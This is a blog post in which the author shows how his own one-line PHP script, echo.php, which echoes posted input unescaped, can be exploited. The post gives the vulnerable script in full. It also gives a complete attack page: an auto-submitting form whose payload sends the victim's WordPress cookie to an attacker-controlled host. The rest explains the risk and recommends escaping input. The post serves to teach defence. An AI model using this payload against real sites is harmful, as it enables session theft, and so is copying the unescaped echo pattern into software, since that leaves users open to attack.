Writing your own cross-site scripting exploit with echo.php

December 12th, 2007 posted by codders

I keep commenting in my posts about security, usually to the effect that I don’t care for the purposes of what I’m doing but that you should think carefully about it. I thought it might be instructive to demonstrate just how easily ‘not caring’ can get you in trouble.

In order to make the editable table demo work, I created ‘echo.php’ - a simple PHP script to echo any posted value back to the caller; in this case the TableKit AJAX so that the cells get updated. I wrote this in the obvious way:

<?php
  echo $_POST['value'];
?>

It’s a one line (one command) PHP script. What could possibly go wrong?

Well let’s see how wrong we can make things go. Anybody visiting this site will know it’s hosted on Wordpress, can discover what echo.php does, and will find out if they leave a comment on the blog that comments need approving. Let’s suppose that one such visitor (Sally, for sake of argument) wasn’t happy with that way of working and wanted to be able to approve her own comments in future. Suppose further that I’m the kind of guy who likes to get a little background on the people commenting on my blog before I approve their messages. Sally leaves an innocuous looking comment and in the Website field, puts the URL of a page on her site - http://www.sallyssite.com/some_page.html. The code for some_page.html might look like this:

<html>
<head><title>Some Page</title></head>
<body onload="submitit()">
<form name="form1"
           action="http://talkingcode.co.uk/echo.php"
           method="post">
<input type="hidden" name="value" value="<html>
<head>
<title>Pwned</title>
</head>
<body onload='pwned()'>
<script type='text/javascript' src='/script/prototype.js'>
</script>
<form name='form1' action='http://www.sallyssite.com/gotcha.php' method='get'>
<input id='result' type='hidden' name='result' value=''/>
</form>
<script>
function pwned()
{
  $('result').value = document.cookie;
  document.form1.submit()
}
</script>
</body>
</html>">
</form>
<script>
function submitit()
{
  document.form1.submit();
}
</script>
</body>
</html>

So… What happens when I click the link and visit Sally’s page? The onload action for her page submits the form that’s on it, whose action is http://talkingcode.co.uk/echo.php and whose method is POST. The POST data is the value of a hidden field called value, specifically a bunch of HTML and Javascript.

On loading the page, my browser will render the output of echo.php which is the contents of the value field, which happens to be another auto-submitting form. This time, though, the action of the form is http://www.sallyssite.com/gotcha.php, and the contents of the form’s result field is going to be my cookie for talkingCode. So… I’ll just have posted my WordPress administrator cookie over to Sally’s site. How embarrassing. :(

Welcome to the real world

You might think this is a pretty contrived example, but the ingredients for this attack exist in a whole lot of real world systems that you might be using. Any time you click ‘Remember me’ on a site, or on any site to which you don’t have to log in every time, you’re using cookie-based authentication. Anyone who steals the cookie can log in as you. Still, not every site has an ‘echo.php’ lying around, right? That’s as may be, but a large number of sites do render user input and that’s really all it takes. Exploiting echo.php was easy because I had complete control of the way the result was going to render, but anywhere I can get my form rendered on a site that you trust, I can steal your cookies. This might be something I’ve put on my Facebook profile (in a world where Facebook was written by monkeys), it could be a comment I’ve made on your blog (if your blog software is completely broken); anywhere that hasn’t successfully escaped HTML/Javascript in all places may be at risk. Fortunately if you’re using high-profile sites or standard tools, you’re unlikely to run in to this problem because, either by having clever developers or through many eyes, these kinds of things will have been detected and avoided. Unfortunately, you might be writing a site yourself and miss it, or using a site written by people who don’t know what they’re doing.

NoScript to the rescue?

Well, kinda. If you’ve installed NoScript - which I strongly recommend you do - the form on Sally’s page can’t auto-submit. She has to make you click on a button to submit her form. Unfortunately, that’s not that hard. She need only label it ‘Search’, or ‘click here for free money’ to socially engineer that one. The only Javascript required in the exploit is the call to document.cookie, and that runs in the trusted domain. It’s a no-brainer that I’ll have marked talkingCode as trusted in NoScript - if I hadn’t, none of my lovely demos would work (inasmuch as they work at all). Any site on which you use cookie authentication that requires Javascript is equally vulnerable.

Don’t have nightmares

It’s worth pointing out that the vast majority of sites and tools you use won’t allow you to be exposed to this. I highlighted echo.php because it’s code I actually wrote and installed on my site. There are a lot of web developers who go through their lives copying and pasting examples from blogs and forums without understanding what the risks are but you don’t need to use their sites, and you certainly needn’t be one of them. It’s also worth conceding that although the script is called echo.php, and in spite of our irrational prejudice against PHP, there’s nothing intrinsically worse about PHP in terms of security. It’s what you do with it that counts.